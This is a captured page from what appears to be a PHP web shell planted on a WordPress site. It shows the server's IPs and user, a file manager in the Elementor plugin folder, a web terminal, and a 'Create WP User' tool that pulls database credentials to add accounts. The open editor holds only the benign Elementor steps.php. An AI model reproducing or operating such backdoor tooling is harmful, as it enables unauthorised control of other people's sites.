Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.217.47
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
budomat.net.pl
/
wp-content
/
plugins
/
elementor
/
modules
/
checklist
/
data
/
endpoints
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
steps.php
1.50 KB
-rw-r--r--
2026-02-24 12:19
user-progress.php
1021.00 B
-rw-r--r--
2026-02-24 12:19
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
steps.php
<?php namespace Elementor\Modules\Checklist\Data\Endpoints; use Elementor\Data\V2\Base\Endpoint as Endpoint_Base; use Elementor\Modules\Checklist\Steps\Step_Base; use Elementor\Modules\Checklist\Steps_Manager; use Elementor\Modules\Checklist\Module as Checklist_Module; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Steps extends Endpoint_Base { public function get_name(): string { return 'steps'; } public function get_format(): string { return 'checklist'; } public function get_items( $request ) { return $this->get_checklist_data(); } public function update_item( $id, $request ) { $checklist_module = Checklist_Module::instance(); $step = $checklist_module->get_steps_manager()->get_step_by_id( $id ); $step->update_step( $request->get_json_params() ); return [ 'data' => 'success', ]; } private function get_checklist_data(): array { $checklist_module = Checklist_Module::instance(); $steps_data = $checklist_module->get_steps_manager()->get_steps_for_frontend(); return [ 'data' => $steps_data, ]; } protected function register() { parent::register(); $this->register_item_route(); $this->register_item_route( \WP_REST_Server::EDITABLE, [ 'id_arg_name' => 'id', 'id_arg_type_regex' => '[\w\-\_]+', 'id' => [ 'type' => 'string', 'description' => 'The step id.', 'required' => true, 'validate_callback' => function ( $step_id ) { return in_array( $step_id, Steps_Manager::get_step_ids() ); }, ], ] ); } }
关闭
保存